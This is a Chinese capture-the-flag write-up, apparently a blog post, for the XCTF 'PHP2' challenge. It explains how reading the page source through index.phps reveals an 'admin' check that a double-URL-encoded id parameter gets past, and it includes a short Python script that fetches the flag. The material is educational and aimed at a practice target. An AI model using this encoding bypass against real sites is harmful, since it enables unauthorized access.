CTF_EXP02:XCTF PHP2

CTF_EXP02: XCTF PHP2

题目:XCTF PHP2

启动靶机,打开环境:
在这里插入图片描述
你能浏览这个网站嘛?

首先访问index.php,可以正常访问,尝试查看index.phps文件(.phps文件就是php的源代码文件,通常用于提供给访问者查看php代码):
在这里插入图片描述
得到网页的源代码,分析代码:
需要传入变量id的值,不能等于admin,经过URL解码后等于admin将输出key,因为服务器会进行一次URL解码,所以我们将admin进行二次编码:
在这里插入图片描述
在这里插入图片描述
得到最后的传输值为:

?id=%2561%2564%256d%2569%256e

传输数据得到flag
在这里插入图片描述

EXP如下:

# -*- coding:utf-8 -*-
# name: Meng
# mail: 614886708@qq.com
# ctf_exp02: XCTF PHP2

import requests
import re


class PostUrl:
    def __init__(self, url_input):
        # 对输入的url做补全
        if url_input.endswith('index.php') or url_input.endswith('index.php/'):
            self.url = url_input
        elif url_input.endswith('/'):
            self.url = url_input + 'index.php'
        else:
            self.url = url_input + '/index.php'

        self.data = {'id': '%61%64%6d%69%6e'}   # 需要传递的数据
        self.flag = ''    # 最终flag

    def get_flag(self):
        r = requests.get(self.url)

        # 判断返回页面内容
        if 'Can you anthenticate to this website?' in r.text:
            r = requests.get(self.url + 's')
            if '<?php' in r.text:
                r = requests.get(self.url, params=self.data)

        # 过滤返回内容
        try:
            self.flag = re.search(r'cyberpeace\{.+\}', r.text).group()
        except AttributeError:
            print('未发现flag!')

    def run(self):
        self.get_flag()
        return self.flag


if __name__ == '__main__':
    print('ctf_exp02: XCTF PHP2')
    url_input = input('请输入题目链接:')
    print(PostUrl(url_input).run())
    input()     # 防止退出cmd

输入题目链接,得到flag:
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值